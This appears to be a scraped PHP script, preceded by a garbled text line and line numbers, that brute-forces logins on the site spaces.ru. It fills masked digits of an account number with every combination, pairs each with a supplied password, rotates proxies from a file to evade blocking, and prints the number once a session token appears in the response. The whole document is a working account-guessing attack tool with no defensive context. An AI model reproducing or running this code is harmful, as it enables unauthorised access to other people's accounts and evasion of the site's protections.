php echo Enter number number trim fgets STDIN echo Password password t

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
echo 'Enter number: ';
$number = trim(fgets(STDIN));
echo 'Password: ';
$password = trim(fgets(STDIN));
$count = substr_count($number, '*');
if($count <= 0 || $count > 4)
die("Error!");
$proxy = file('proxy.txt');
$proxy_c = 0;
for($i = 0; $i < pow(10, $count); $i++) {
for($str = $i; strlen($str) < $count; $str = '0' . $str);
$current_number = preg_replace('/\*+/', $str, $number);
echo $current_number . '; Proxy: ' . $proxy[$proxy_c] . "\n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_PROXY, $proxy[$proxy_c]);
curl_setopt($ch, CURLOPT_URL, 'http://spaces.ru/mysite/?name='. $current_number .'&password=' . $password);
$res = curl_exec($ch);
if(preg_match('/tm\/[0-9a-f]{32}/', $res)) {
echo 'Succes! Num = ' . $current_number;
break;
}
if(curl_errno($ch) > 0 || preg_match('/Неверный код/', $res) || !preg_match('/Вход/', $res)) {
$proxy_c++;
$i--;
continue;
}
curl_close($ch);
}